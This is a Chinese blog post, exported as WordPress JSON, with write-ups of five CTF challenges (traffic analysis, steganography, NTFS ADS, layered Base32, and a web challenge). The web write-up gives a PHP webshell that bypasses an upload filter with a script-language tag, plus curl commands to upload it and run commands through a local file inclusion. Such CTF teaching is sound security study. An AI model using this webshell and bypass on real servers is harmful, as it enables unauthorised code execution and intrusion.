{"id":100442,"date":"2026-09-04T17:57:26","date_gmt":"2026-09-04T09:57:26","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/100442.html"},"modified":"2026-09-04T17:57:26","modified_gmt":"2026-09-04T09:57:26","slug":"ctf-writeup-%e5%90%88%e9%9b%86","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/100442.html","title":{"rendered":"CTF Writeup \u5408\u96c6"},"content":{"rendered":"

\u672c\u6587\u6c47\u603b\u4e86\u4e00\u4e9b\u7f51\u4e0a\u7684\u9898\u76ee\u7684\u5168\u90e8\u89e3\u9898\u8fc7\u7a0b，\u6db5\u76d6 MISC\u3001Crypto\u3001WEB\u4e09\u4e2a\u65b9\u5411，\u5171\u4e94\u9053\u9898\u76ee\u3002\u4ee5\u4e0b\u662f\u8be6\u7ec6\u7684\u89e3\u9898\u601d\u8def\u4e0e\u8fc7\u7a0b\u3002<\/span><\/p>\n

\u4e00\u3001Passwd<\/span><\/span><\/p>\n

\u9898\u76ee\u7c7b\u578b： <\/span>MISC（\u6d41\u91cf\u5206\u6790）<\/span><\/p>\n

\u9898\u76ee\u9644\u4ef6： <\/span>passwd.zip<\/span><\/p>\n

\u9898\u76ee\u63cf\u8ff0： <\/span>flag\u5f62\u5f0f\u4e3aflag{xxx}<\/span><\/p>\n

\u89e3\u9898\u8fc7\u7a0b<\/span><\/span><\/p>\n

\u6253\u5f00\u9644\u4ef6\u662f\u4e00\u4e2a pcap \u6d41\u91cf\u5305\u6587\u4ef6，\u7528 Wireshark \u6253\u5f00\u8fdb\u884c\u6d41\u91cf\u5206\u6790\u3002\u9996\u5148\u8ffd\u8e2a TCP \u6d41，\u641c\u7d22\u5173\u952e\u5b57 flag \u6216\u8005 password，\u53d1\u73b0\u4e86\u4e00\u6bb5\u5305\u542b\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u6570\u636e\u3002<\/span><\/p>\n

\"\"<\/p>\n

\u8ffd\u8e2a TCP \u6d41\u540e\u53d1\u73b0\u7528\u6237\u540d\u548c\u5bc6\u7801\u4fe1\u606f，\u4f46\u5bc6\u7801\u90e8\u5206\u5b58\u5728\u7279\u6b8a\u5b57\u7b26，\u9700\u8981\u4ee5 Hex \u65b9\u5f0f\u67e5\u770b\u3002<\/span><\/p>\n

\"\"<\/p>\n

\u901a\u8fc7 Hex \u8f6c\u50a8\u67e5\u770b\u53d1\u73b0，\u7279\u6b8a\u5b57\u7b26\u5bf9\u5e94\u7684 Hex \u503c\u4e3a 7F，\u8fd9\u662f\u4e00\u4e2a\u5220\u9664\u63a7\u5236\u5b57\u7b26（DEL），\u5c06\u5176\u6062\u590d\u540e\u5373\u53ef\u5f97\u5230\u5b8c\u6574\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002<\/span><\/p>\n

\"\"<\/p>\n

\u6062\u590d\u7279\u6b8a\u5b57\u7b26\u540e，\u5f97\u5230\u5b8c\u6574\u7684\u51ed\u636e\u4fe1\u606f，\u76f4\u63a5\u4f5c\u4e3a flag \u63d0\u4ea4\u3002<\/span><\/p>\n

flag{backd00Rmate}<\/span><\/span><\/span><\/span><\/p>\n

\u4e8c\u3001Only one picture<\/span><\/span><\/p>\n

\u9898\u76ee\u7c7b\u578b： <\/span>MISC<\/span><\/p>\n

\u9898\u76ee\u9644\u4ef6： <\/span>misc_Only one picture.zip<\/span><\/p>\n

\u9898\u76ee\u63cf\u8ff0： <\/span>\u8fd9\u5f20\u56fe\u7247\u662f\u8c01\u7684\u5462？<\/span><\/p>\n

\"\"<\/p>\n

\u89e3\u9898\u8fc7\u7a0b<\/span><\/span><\/p>\n

\u89e3\u538b\u9644\u4ef6\u5f97\u5230\u4e00\u5f20\u56fe\u7247\u6587\u4ef6，\u6839\u636e\u9898\u76ee\u63d0\u793a\u548c\u201c\u8fd9\u5f20\u56fe\u7247\u662f\u8c01\u7684\u5462\u201d\u7684\u63cf\u8ff0，\u9996\u5148\u7528 010 Editor \u67e5\u770b\u6587\u4ef6\u7684\u5934\u90e8\u548c\u5c3e\u90e8\u7ed3\u6784，\u53d1\u73b0\u6587\u4ef6\u672b\u5c3e\u9690\u85cf\u4e86\u4e00\u4e2a ZIP \u538b\u7f29\u5305\u3002<\/span><\/p>\n

\"\"<\/p>\n

\u5c06\u9690\u85cf\u7684\u538b\u7f29\u5305\u5206\u79bb\u4fdd\u5b58\u540e\u5c1d\u8bd5\u89e3\u538b，\u53d1\u73b0\u9700\u8981\u8f93\u5165\u5bc6\u7801\u3002\u56de\u5230\u9898\u76ee\u63d0\u793a\u201c\u8fd9\u5f20\u56fe\u7247\u662f\u8c01\u7684\u5462？\u201d，\u67e5\u770b\u56fe\u7247\u7684\u5c5e\u6027\u4fe1\u606f（EXIF\u4fe1\u606f），\u5728\u5176\u4e2d\u627e\u5230\u4e86\u5bc6\u7801\u7ebf\u7d22\u3002<\/span><\/p>\n

\"\"<\/p>\n

\u4f7f\u7528\u4ece\u56fe\u7247\u5c5e\u6027\u4e2d\u83b7\u53d6\u7684\u5bc6\u7801\u6210\u529f\u89e3\u538b\u538b\u7f29\u5305，\u5373\u53ef\u5f97\u5230 flag\u3002<\/span><\/p>\n

\"\"<\/p>\n

flag{d349bd48-5e00-4159-8b4a-008bb48502c5}<\/span><\/span><\/span><\/span><\/p>\n

\u4e09\u3001\u6d41<\/span><\/span><\/p>\n

\u9898\u76ee\u7c7b\u578b： <\/span>MISC<\/span><\/p>\n

\u9898\u76ee\u9644\u4ef6： <\/span>liu.zip<\/span><\/p>\n

\u9898\u76ee\u63cf\u8ff0： <\/span>Nothing here. flag\u683c\u5f0f\u4e3aCTF{xxx}<\/span><\/p>\n

\"\"<\/p>\n

\u89e3\u9898\u8fc7\u7a0b<\/span><\/span><\/p>\n

\u89e3\u538b\u9644\u4ef6\u5f97\u5230\u4e00\u4e2a liu.vmdk \u865a\u62df\u78c1\u76d8\u6587\u4ef6\u3002\u9996\u5148\u4f7f\u7528 7-Zip \u89e3\u538b\u8be5\u6587\u4ef6，\u4ece\u4e2d\u63d0\u53d6\u51fa\u4e00\u4e2a\u6587\u4ef6，\u6839\u636e\u6587\u4ef6\u540d\u63a8\u6d4b\u5176\u53ef\u80fd\u6307\u5411 flag \u7684\u5b58\u50a8\u4f4d\u7f6e\u3002<\/span><\/p>\n

\u63d0\u53d6\u51fa\u5173\u952e\u6587\u4ef6\u540e，\u7528 Autopsy（\u6216\u968f\u6ce2\u9010\u6d41\u5de5\u5177）\u6253\u5f00 vmdk \u78c1\u76d8\u955c\u50cf\u8fdb\u884c\u6587\u4ef6\u7cfb\u7edf\u5206\u6790\u3002\u901a\u8fc7 NTFS \u4ea4\u66ff\u6570\u636e\u6d41（ADS）\u6280\u672f\u53d1\u73b0\u4e86\u9690\u85cf\u7684 flag \u6570\u636e\u3002<\/span><\/p>\n

\"\"<\/p>\n

\u8be5\u9898\u8003\u67e5\u7684\u662f NTFS \u4ea4\u66ff\u6570\u636e\u6d41（Alternate Data Streams）\u7684\u77e5\u8bc6\u70b9，\u8fd9\u662f\u4e00\u79cd\u5728 NTFS \u6587\u4ef6\u7cfb\u7edf\u4e2d\u9690\u85cf\u6570\u636e\u7684\u6280\u672f\u3002<\/span><\/p>\n

CTF{NTFS_ADS}<\/span><\/span><\/span><\/span><\/p>\n

\u56db\u3001bucket<\/span><\/span><\/p>\n

\u9898\u76ee\u7c7b\u578b： <\/span>Crypto<\/span><\/p>\n

\u9898\u76ee\u9644\u4ef6： <\/span>bucket.zip<\/span><\/p>\n

\u9898\u76ee\u63cf\u8ff0： <\/span>\u89e3\u5bc6Base\u5168\u5bb6\u6876\u3002<\/span><\/p>\n

\u89e3\u9898\u8fc7\u7a0b<\/span><\/span><\/p>\n

\u9898\u76ee\u63d0\u793a\u4e3a\u201cBase\u5168\u5bb6\u6876\u201d，\u89e3\u538b\u9644\u4ef6\u540e\u6253\u5f00 cipher.txt \u6587\u4ef6，\u53d1\u73b0\u662f\u4e00\u4e32\u6570\u5b57\u7f16\u7801\u6570\u636e\u3002<\/span><\/p>\n

\"\"<\/p>\n

\"\"<\/p>\n

\u7b2c\u4e00\u5c42：Hex \u89e3\u7801<\/span><\/span><\/p>\n

\u539f\u59cb\u6570\u636e 34413441… \u53ea\u5305\u542b 0-9 \u548c A-F，\u4e14\u957f\u5ea6\u5f88\u957f，\u521d\u6b65\u5224\u65ad\u4e3a\u5341\u516d\u8fdb\u5236（Hex）\u7f16\u7801\u3002\u7b2c\u4e00\u6b21 Hex \u89e3\u7801\u540e\u5f97\u5230 4A4A4645…，\u4ecd\u7136\u662f Hex \u7f16\u7801，\u7ee7\u7eed\u8fdb\u884c\u7b2c\u4e8c\u6b21 Hex \u89e3\u7801\u3002<\/span><\/p>\n

\u7b2c\u4e8c\u5c42：Base32 \u89e3\u7801<\/span><\/span><\/p>\n

\u7b2c\u4e8c\u6b21 Hex \u89e3\u7801\u540e\u5f97\u5230 JJFEMRKNKJFU4S2K… \u8fd9\u4e32\u5b57\u7b26\u5168\u90e8\u5927\u5199\u3001\u5305\u542b\u6570\u5b57 2-7\u3001\u65e0 +\/= \u7b26\u53f7，\u8fd9\u4e9b\u7279\u5f81\u660e\u663e\u7b26\u5408 Base32 \u7f16\u7801\u7684\u5b57\u7b26\u96c6\u7279\u5f81\u3002<\/span><\/p>\n

\"\"<\/p>\n

\u7b2c\u4e09\u5c42：Base32 \u591a\u5c42\u5d4c\u5957<\/span><\/span><\/p>\n

\u7ecf\u8fc7\u5206\u6790\u53d1\u73b0 Base32 \u7f16\u7801\u8fdb\u884c\u4e86\u591a\u5c42\u5d4c\u5957，\u8fde\u7eed\u89e3 7 \u6b21 Base32 \u540e\u6700\u7ec8\u5f97\u5230\u660e\u6587\u3002\u89e3\u7801\u8fc7\u7a0b\u53ef\u4ee5\u4f7f\u7528 CyberChef \u7b49\u5de5\u5177，\u4e5f\u53ef\u4ee5\u7f16\u5199 Python \u811a\u672c\u8fdb\u884c\u81ea\u52a8\u5316\u5904\u7406\u3002<\/span><\/p>\n

flag{8ddce78c660f0f6fa4ac1f0d0de6ca18}<\/span><\/span><\/span><\/span><\/p>\n

\u4e94<\/span>\u3001WELCOME TO CTF<\/span><\/span><\/p>\n

\u9898\u76ee\u7c7b\u578b： <\/span>WEB<\/span><\/p>\n

\u76ee\u6807\u5730\u5740： <\/span>172.29.254.78<\/span><\/p>\n

\u6f0f\u6d1e\u7c7b\u578b： <\/span>LFI（\u672c\u5730\u6587\u4ef6\u5305\u542b）+ \u6587\u4ef6\u4e0a\u4f20 \u2192 RCE<\/span><\/p>\n

1. \u4fe1\u606f\u6536\u96c6<\/span><\/span><\/p>\n

\"\"<\/p>\n

\u8bbf\u95ee\u9996\u9875 index.php，URL \u4e2d file \u53c2\u6570\u76f4\u63a5\u63a7\u5236\u5305\u542b\u7684\u6587\u4ef6，\u5b58\u5728 LFI（\u672c\u5730\u6587\u4ef6\u5305\u542b）\u6f0f\u6d1e：<\/span><\/p>\n

http:\/\/172.29.254.78\/index.php?file=hello.php<\/span><\/span><\/span><\/p>\n

\u67e5\u770b\u9875\u9762\u6e90\u4ee3\u7801，\u53d1\u73b0\u6ce8\u91ca\u6cc4\u9732\u4e86\u4e0a\u4f20\u9875\u9762\u8def\u5f84 upload.php，\u540c\u65f6\u54cd\u5e94\u5934\u4e2d\u5305\u542b\u4e00\u6761 HTML \u5b9e\u4f53\u7f16\u7801\u7684 Base64 \u63d0\u793a，\u89e3\u7801\u540e\u5f97\u5230 include.php\u3002<\/span><\/p>\n

\"\"<\/p>\n

2. \u6f0f\u6d1e\u5206\u6790<\/span><\/span><\/p>\n

2.1 LFI \u6f0f\u6d1e (index.php)<\/span><\/span><\/p>\n

\u540e\u7aef\u5bf9 file \u53c2\u6570\u8fdb\u884c\u4e86\u8fc7\u6ee4：\u62e6\u622a php:\/\/\u3001http\u3001data\u3001ftp\u3001input\u3001%00 \u7b49\u534f\u8bae，\u7981\u6b62\u76ee\u5f55\u904d\u5386（..），\u9650\u5236\u5b57\u7b26\u4e32\u957f\u5ea6\u4e0d\u8d85\u8fc770\u3002\u4f46\u8fc7\u6ee4\u89c4\u5219\u652f\u6301\u7edd\u5bf9\u8def\u5f84\u5305\u542b，\u4e14\u5bf9\u6587\u4ef6\u6269\u5c55\u540d\u65e0\u9650\u5236，\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u5305\u542b\u4e0a\u4f20\u7684\u56fe\u7247\u6587\u4ef6\u6765\u6267\u884c\u4ee3\u7801\u3002<\/span><\/p>\n

2.2 \u6587\u4ef6\u4e0a\u4f20 (upload.php)<\/span><\/span><\/p>\n

\u4e0a\u4f20\u9875\u9762\u5b58\u5728\u4ee5\u4e0b\u9650\u5236：\u4ec5\u5141\u8bb8\u56fe\u7247\u6269\u5c55\u540d（gif\/jpeg\/jpg\/png），\u68c0\u67e5 Content-Type，\u6587\u4ef6\u4f1a\u88ab\u91cd\u547d\u540d\u4e3a YmdHis+\u968f\u673a\u6570.jpg，\u5e76\u4e14 <?php \u6807\u7b7e\u4f1a\u88ab\u66ff\u6362\u4e3a\u4e0b\u5212\u7ebf\u3002<\/span><\/p>\n

3. <\/span>\u5229\u7528\u8fc7\u7a0b<\/span><\/span><\/p>\n

3.1 <\/span>\u7ed5\u8fc7\u5185\u5bb9\u8fc7\u6ee4<\/span><\/span><\/p>\n

<?php \u548c ?> \u6807\u7b7e\u88ab\u66ff\u6362\u4e3a\u4e0b\u5212\u7ebf，\u4f46 PHP \u8fd8\u652f\u6301\u5176\u4ed6\u811a\u672c\u6807\u8bb0\u3002\u4f7f\u7528 <script language="php"> \u6807\u7b7e\u53ef\u4ee5\u6210\u529f\u7ed5\u8fc7\u5185\u5bb9\u8fc7\u6ee4：<\/span><\/p>\n

<script language="php">system($_GET["cmd"])<\/script><\/span><\/span><\/span><\/p>\n

3.2 <\/span>\u4e0a\u4f20 Webshell<\/span><\/span><\/p>\n

# \u521b\u5efa payload \u6587\u4ef6
\necho '<script language="php">system($_GET["cmd"])<\/script>' > payload.jpg<\/p>\n

# \u4e0a\u4f20 payload
\ncurl -F "file=@payload.jpg" -F "submit=\u4e0a\u4f20" http:\/\/172.29.254.78\/upload.php<\/span><\/span><\/span><\/p>\n

\"\"<\/p>\n

\"\"<\/p>\n

\u4e0a\u4f20\u6210\u529f\u540e，\u6587\u4ef6\u88ab\u4fdd\u5b58\u4e3a upload\/20260430XXXXXX.jpg（YmdHis + 4\u4f4d\u968f\u673a\u6570）\u3002<\/span><\/p>\n

3.3 LFI <\/span>\u89e6\u53d1 RCE<\/span><\/span><\/p>\n

\u901a\u8fc7 LFI \u5305\u542b\u4e0a\u4f20\u7684\u56fe\u7247 webshell，\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c：<\/span><\/p>\n

curl "http:\/\/172.29.254.78\/index.php?file=upload\/20260430XXXXXX.jpg&cmd=ls -la \/"<\/span><\/span><\/span><\/p>\n

\"\"<\/p>\n

3.4 \u67e5\u627e Flag \u6587\u4ef6<\/span><\/span><\/p>\n

\u5217\u51fa Web \u76ee\u5f55\u540e，\u5728\u5176\u4e2d\u53d1\u73b0\u4e86 Flag \u6587\u4ef6 this_is_th3_F14g_66666999999.txt，\u8bfb\u53d6\u5373\u53ef\u83b7\u5f97 flag\u3002<\/span><\/p>\n

\"\"<\/p>\n

\"\"<\/p>\n

4. <\/span>\u653b\u51fb\u94fe\u603b\u7ed3<\/span><\/span><\/p>\n

\u672c\u9898\u7684\u5b8c\u6574\u653b\u51fb\u94fe\u4e3a：\u4fe1\u606f\u6536\u96c6\u53d1\u73b0 LFI \u6f0f\u6d1e\u548c\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd \u2192 \u7ed5\u8fc7\u6587\u4ef6\u4e0a\u4f20\u7684\u5185\u5bb9\u8fc7\u6ee4（\u4f7f\u7528 <script language="php"> \u6807\u7b7e） \u2192 \u4e0a\u4f20\u56fe\u7247 Webshell \u2192 \u901a\u8fc7 LFI \u5305\u542b\u4e0a\u4f20\u7684\u56fe\u7247\u6587\u4ef6 \u2192 \u5b9e\u73b0 RCE \u2192 \u8bfb\u53d6 Flag \u6587\u4ef6\u3002<\/span><\/p>\n

KEY{uP666_1nclud3_499998_is_Fun}<\/span><\/span><\/span><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"

\u672c\u6587\u6c47\u603b\u4e86\u4e00\u4e9b\u7f51\u4e0a\u7684\u9898\u76ee\u7684\u5168\u90e8\u89e3\u9898\u8fc7\u7a0b，\u6db5\u76d6 MISC\u3001Crypto\u3001WEB\u4e09\u4e2a\u65b9\u5411，\u5171\u4e94\u9053\u9898\u76ee\u3002\u4ee5\u4e0b\u662f\u8be6\u7ec6\u7684\u89e3\u9898\u601d\u8def\u4e0e\u8fc7\u7a0b\u3002\u4e00\u3001Passwd\u9898\u76ee\u7c7b\u578b： MISC（\u6d41\u91cf\u5206\u6790）\u9898\u76ee\u9644\u4ef6： passwd.zip\u9898\u76ee\u63cf\u8ff0： flag\u5f62\u5f0f\u4e3aflag{xxx}\u89e3\u9898\u8fc7\u7a0b\u6253\u5f00\u9644\u4ef6\u662f\u4e00\u4e2a pcap \u6d41\u91cf\u5305\u6587\u4ef6，\u7528 Wireshark \u6253\u5f00\u8fdb\u884c\u6d41\u91cf\u5206\u6790\u3002\u9996\u5148\u8ffd\u8e2a TCP \u6d41&#xff<\/p>\n","protected":false},"author":2,"featured_media":100423,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[9098,275,61,1425,472,122],"topic":[],"class_list":["post-100442","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-it","tag-web","tag-61","tag-1425","tag-472","tag-122"],"yoast_head":"\nCTF Writeup \u5408\u96c6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/100442.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CTF Writeup \u5408\u96c6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u672c\u6587\u6c47\u603b\u4e86\u4e00\u4e9b\u7f51\u4e0a\u7684\u9898\u76ee\u7684\u5168\u90e8\u89e3\u9898\u8fc7\u7a0b，\u6db5\u76d6 MISC\u3001Crypto\u3001WEB\u4e09\u4e2a\u65b9\u5411，\u5171\u4e94\u9053\u9898\u76ee\u3002\u4ee5\u4e0b\u662f\u8be6\u7ec6\u7684\u89e3\u9898\u601d\u8def\u4e0e\u8fc7\u7a0b\u3002\u4e00\u3001Passwd\u9898\u76ee\u7c7b\u578b： MISC（\u6d41\u91cf\u5206\u6790）\u9898\u76ee\u9644\u4ef6： passwd.zip\u9898\u76ee\u63cf\u8ff0： flag\u5f62\u5f0f\u4e3aflag{xxx}\u89e3\u9898\u8fc7\u7a0b\u6253\u5f00\u9644\u4ef6\u662f\u4e00\u4e2a pcap \u6d41\u91cf\u5305\u6587\u4ef6，\u7528 Wireshark \u6253\u5f00\u8fdb\u884c\u6d41\u91cf\u5206\u6790\u3002\u9996\u5148\u8ffd\u8e2a TCP \u6d41&#xff\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/100442.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-04T09:57:26+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260904095722-6a9a96023a082.jpg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/100442.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/100442.html\",\"name\":\"CTF Writeup \u5408\u96c6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-04T09:57:26+00:00\",\"dateModified\":\"2026-09-04T09:57:26+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/100442.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/100442.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/100442.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CTF Writeup \u5408\u96c6\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CTF Writeup \u5408\u96c6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/100442.html","og_locale":"zh_CN","og_type":"article","og_title":"CTF Writeup \u5408\u96c6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u672c\u6587\u6c47\u603b\u4e86\u4e00\u4e9b\u7f51\u4e0a\u7684\u9898\u76ee\u7684\u5168\u90e8\u89e3\u9898\u8fc7\u7a0b，\u6db5\u76d6 MISC\u3001Crypto\u3001WEB\u4e09\u4e2a\u65b9\u5411，\u5171\u4e94\u9053\u9898\u76ee\u3002\u4ee5\u4e0b\u662f\u8be6\u7ec6\u7684\u89e3\u9898\u601d\u8def\u4e0e\u8fc7\u7a0b\u3002\u4e00\u3001Passwd\u9898\u76ee\u7c7b\u578b： MISC（\u6d41\u91cf\u5206\u6790）\u9898\u76ee\u9644\u4ef6： passwd.zip\u9898\u76ee\u63cf\u8ff0： flag\u5f62\u5f0f\u4e3aflag{xxx}\u89e3\u9898\u8fc7\u7a0b\u6253\u5f00\u9644\u4ef6\u662f\u4e00\u4e2a pcap \u6d41\u91cf\u5305\u6587\u4ef6，\u7528 Wireshark \u6253\u5f00\u8fdb\u884c\u6d41\u91cf\u5206\u6790\u3002\u9996\u5148\u8ffd\u8e2a TCP \u6d41&#xff","og_url":"https:\/\/www.wsisp.com\/helps\/100442.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-04T09:57:26+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260904095722-6a9a96023a082.jpg"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/100442.html","url":"https:\/\/www.wsisp.com\/helps\/100442.html","name":"CTF Writeup \u5408\u96c6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-04T09:57:26+00:00","dateModified":"2026-09-04T09:57:26+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/100442.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/100442.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/100442.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"CTF Writeup \u5408\u96c6"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/100442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=100442"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/100442\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/100423"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=100442"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=100442"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=100442"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=100442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}